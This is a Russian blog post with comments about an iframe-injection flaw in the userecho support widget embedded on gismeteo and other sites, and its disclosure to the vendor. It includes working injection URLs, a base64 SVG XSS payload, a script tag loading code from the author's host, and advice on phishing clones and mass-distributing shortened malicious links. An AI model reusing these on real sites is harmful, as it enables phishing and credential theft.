Решил пройтись по топу alexarank, начал искать уязвимости на gismeteo.ua (20 место). Произошел редирект на русскую версию (www.gismeteo.ru/soft/), обратил внимание на тех.поддержку.
Техподдержка находилась по адресу gismeteo.userecho.com и загружалась на gismeteo в iframe:
https://gismeteo.userecho.com/s/interframe.html?url=https://gismeteo.userecho.com/widget/forum/6-/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1
Потом появлялась форма для создания тикета.
Попытался загрузить свой сайт в iframe https://gismeteo.userecho.com/s/interframe.html?url=https://securityz.net, но он не грузился. Потом понял, что кроме url загружаемого сайта нужны ещё и переменные lang, referer, xdm_e и другие.
http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1
И мой сайт загрузился во фрейме.
Видео:
Оказалось, что владелец виджета userecho.com использует один и тот же API на всех сайтах клиентов для техподдержки, отсюда вывод, что все его клиенты уязвимы к iframe injection.
Находим список топ-клиентов — http://userecho.com/clients/?lang=ru — и понимаем, что много уязвимых клиентов — это наиболее посещаемые сайты:
— drugvokrug.ru (социальная сеть, более 5 000 000 пользователей),
— fl.ru (самая популярная фриланс биржа в России)
— easypay.ua (одна из наиболее посещаемых платежных систем в Украина)
— tankionline.com
— ivi.ru
— amiro.ru
— okko.tv
— insales.ru
— a-lab.ru
— scrapinghub.com
— iridiummobile.net и много других.
Почти все сайты размещают виджет userecho на своём поддомене, пример — ask.drugvokrug.ru, но некоторые размещают его как поддомен на userecho kontur.userecho.com. Также клиентов userecho можно искать по google/yandex доркам.
Векторы атаки:
- 1. Фишинг - загружаем свой сайт, внутри которого один в один такой же сайт, как и оригинал, и его никак не отличить от оригинала, жертва вводит свои данные и они приходят мне! (логин, пароль, номера кредиток, cvv2 — easypay.ua и др).
Пример: https://securityz.net/gismeteo.html?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1 — я сделал копию сайта gismeteo и если человек введет логин и пароль на гисметео, они придут мне.
- 2. Внедрение рекламы на сайт iframe и ее можно выдавать за рекламу уязвимого сайта.
Пример: http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1
- 3. Выполнение вредоносного кода на уязвимом сайте. Можно конечно же выполнить javascript на уязвимом сайте, но не в контексте домена (alert на моем сайте). Хорошо, когда есть XSS на over 20 000 сайтах)). Можно отправить в openbugbounty) Пример securityz.net/iu.html. Чтобы js не выполнялся в контексте домена securityz.net, делаем обычный js alert http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/iu.html/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&xdm_p=1:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> "><script src=https://securityz.net/t.js?319304></script></script>
Чтобы распространить вредоносную ссылку, нужно сначала укоротить ссылку goo.gl/GIYRUR, потом:
- Массово рассылать на форумы, по email адресам.
- Целенаправленно атаковать определенного юзера или админа с помощью этой уязвимости.
Можно было бы отправлять сообщения об уязвимости на каждый уязвимый сайт, но уязвимость была бы оперативно исправлена разработчиками userecho и я мог бы не получить ничего ни от уязвимых сайтов, ни от разработчиков виджета.
Поэтому решил сразу сообщить о находке разработчикам плагина.
09.01.2017 в 23:00: отправлен баг репорт в тех поддержку userecho.com.
10.01.2017 в 00:10: уязвимость исправлена и уязвимый файл interframe.html удален (комментарий от разработчиков - файл interframe.html больше недоступен (удален) и все виджеты работают без него. Поэтому все работает с тем же API.).
10.01.2017 в 02:14: разработчики выплатили награду $100. Комментарий:
Вы должны понимать, что мы не такая крупная компания. К тому же, это вообще первый случай когда мы решили дать кому-то денежное вознаграждение.
Также я обнаружил SELF XSS уязвимость в поддержке userecho и ее не собираются исправлять, уязвимости подвержены более 20 тысяч сайтов, вот статья и PoC.
Я еле уговорил разработчиков устранить iframe injection:
Мы видели по логам, что вы игрались с interframe.html и в принципе понимали для чего и как его использовали. Только не был понятен вариант как использовать это с пользой.
Так как теперь мы понимаем варианты использования и Вы подвигли нас на исправления мы готовы перевести Вам 100USD.
+ Обнаружил ещё одну xss уязвимость в этом виджете, её никто не собирается исправлять
и она до сих присутствует на 20 000 + сайтах.
Чтобы быть в курсе всех моих последних публикаций, подписывайтесь на Твиттер https://twitter.com/MaximYaremchuk. Буду очень рад подпискам.)
Успехов!
Комментарии (30)
EminH
11.01.2017 16:19+3Мы видели по логам, что вы игрались с interframe.html ...[]… 100 USD
На самом деле редко когда так реагируют, эти оказались на удивление адекватнымиw9w
11.01.2017 16:35-12В противном случае, если бы проигнорировали меня, то я продал бы эти баги fl.ru, drugvokrug и другим крупным сайтам, а userecho потеряли бы многих своих клиентов.
EminH
11.01.2017 16:45+4а это уже шапка другого цвета / статья УК
FairyCake
11.01.2017 16:49+1Автор говорит о том, что передал бы баги не компании-разработчику, а «пользователям» по отдельности, разве это наказуемо?
w9w
11.01.2017 16:49-2Хоть один нормальный, понимающий человек в комментариях) Все остальные хейтеры)
Suvitruf
11.01.2017 16:53+2Начать с того, что не передал бы, а «продал».
FairyCake
11.01.2017 17:04Лично я понял это так: «Попытался бы сдать по баг-баунти более крупному ресурсу».
Наверное я просто верю в хорошее в людях, а смысл был таким, каким увидели его Вы.
w9w
11.01.2017 17:06Компании сами предлагают награду, я никого не шантажирую и денег не требую. Просто присылаю сообщения об уязвимостях, а сайты сами выбирают, платить за уязвимость или нет.
Если не платит — все равно.
Если заплатила — отлично, помогу этой компании сделать ее сайт более безопасным.
EminH
11.01.2017 17:02+2ну то есть он бы раскрыл детали уязвимости публично или третьим лицам. Думаю что да, это наказуемо
w9w
11.01.2017 17:13-2ну то есть он бы раскрыл детали уязвимости публично или третьим лицам. Думаю что да, это наказуемо
Разработчики были не против, чтобы я сообщал об этих уязвимостях компаниям-клиентам.
Sergey Stukov (co-founder) yesterday.
interframe это один из default файлов от библиотеки easy-xdm
Попробуйте inurl:intermediate.html возможно поможете еще кому-то
Oxoron
11.01.2017 17:14Чисто юридически, можно ли считать уязвимостью проблему которую отказались решать разработчики (если бы они отказались её решать)?
lexore
11.01.2017 17:47Юридически, есть статья "Статья 272. Неправомерный доступ к компьютерной информации".
Доступ к компьютерной информации считается неправомерным, если лицо:
- не имеет права на доступ к данной информации;
- имеет право на доступ к данной информации, однако осуществляет его помимо установленного порядка, с нарушением правил ее защиты.
Т.е. если разработчики дадут вам письменное разрешение (с подписью и печатью) использовать эту дыру и с помощью неё получать любую информацию, то вам ничего не грозит :)
spmbt
11.01.2017 17:52(Вопрос был не про правомерность, а про признание (кем-либо) уязвимостью.)
Чисто логически, это несвязанные вещи. Разработчики могут отказаться от решения любой проблемы. Как и взяться за любую. Юриспруденция с логикой стремится дружить.
selfcssed
11.01.2017 22:24+1Советую прочесть еще вот эту статью автора.
https://webcache.googleusercontent.com/search?q=cache:https://habrahabr.ru/post/319316/
Graphite
Боюсь тут даже сказать нечего.
Неплохо бы еще указать в заголовке, что речь об Alexarank UA
w9w
1. XSS с помощью iframe injection. Грузим во фрейме файл securityz.net/iu.html и xss выполнилась, но не в контексте домена, просто алерт. Ещё одна xss здесь https://twitter.com/MaximYaremchuk/status/818799433332695040, забыл дописать в статье.
2. Речь не только об Alexarank UA, клиенты userecho не только из Украины, большинство из России, и много англоязычных http://userecho.com/clients/?lang=en.
w9w
Это моя первая статья на хабре, так что не пинайте сильно)
EminH
Не понятно про «Грузим во фрейме файл securityz.net/iu.html и xss выполнилась», это не XSS a тот же iframe injection
w9w
Ну, некоторые компании могут посчитать, что это xss. Эта iframe injection, как Open Redirect, который раскручивают до xss example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnUmVmbGVjdGVkX3hzc19yb3pldGthJyk8L3NjcmlwdD4=#, js алерт есть, но он не относится к уязвимому домену, document.domain пустой.
https://www.openbugbounty.org/ легко принял бы все сайты (многие vip) с xss.
EminH
Из практических соображений- это «опаснее» XSS — browser не блокирует
Graphite
1. XSS — Cross-Site Scripting. У вас выполняется свой код в контексте своего домена. С таким же точно результатом вы можете распространять прямую ссылку на свой сайт, где будет alert(). Это не XSS.
Self-XSS часто прямо исключены из bug bounty. Формально они конечно XSS, но точно также пользователь может открыть панель разработчика и выполнить там любой код.
2. Когда пишут про alexarank в первую очередь подразумевают мировой рейтинг крупнейших сайтов. Особенно в заголовке. Уточнить что речь идет о крупнейший сайтах Рунета/Уанета не помешало бы. Кроме того, в рейтинге 500 сайтов, так что непонятно о каких 20 тысячах сайтов из alexarank идет речь.
Вообще вся история к alexarank отношения не имеет, кроме того что ivi.ru 45й в России и Gismeteo 20й в Украине.
w9w
1. Согласен с тем, что xss эта не опасна, но она все же есть. Опасна iframe injection, когда подгружен фишинговый сайт и он выдает себя за легитимный сайт.
2. Не нужно делать поспешные выводы, исходя из 24-х сайтов на http://userecho.com/clients/?lang=ru.
Graphite
Я последний раз отвечу, в надежде что вы все-таки поймете. Вы пишете:
Все это ложь: код на уязвимом сайте не выполняется, никакой XSS нет. Есть ваш собственный скрипт, который на вашем домене и работает.
Self-XSS указывается уже заметно ниже, но выносить в заголовок слово «self» вы не стали, чтобы привлечь внимание (и от недостатка знаний). А Википедия, например, считает что self-XSS — это не XSS: Although it is technically not a true XSS vulnerability...
Какие поспешные выводы я сделал исходя из 24 сайтов в том списке? В заголовке «на более чем 20 000 сайтах alexarank», при том что в alexarank столько сайтов просто нет. Не говоря уже о том, что рейтинг оказывается не голбальный, а UA/RU. Почему не Венесуэла или Кирибати?
w9w
Я писал об этом и о том, что код работает на моем домене
Скрипт выполняется, когда мы посещаем http://support.gismeteo.ru/s/interframe.html?url=https://securityz.net/iu.html/?lang=ru&referer=https://www.gismeteo.ru/soft/&xdm_e=https://www.gismeteo.ru&xdm_c=default4178&, значит, можно говорить, что xss выполняется на support.gismeteo.ru.
я и не собирался, ведь не о нем здесь идет речь, а об iframe injection + XSS.
— бред. Больше не отвечаю. Хейтите сколько захотите.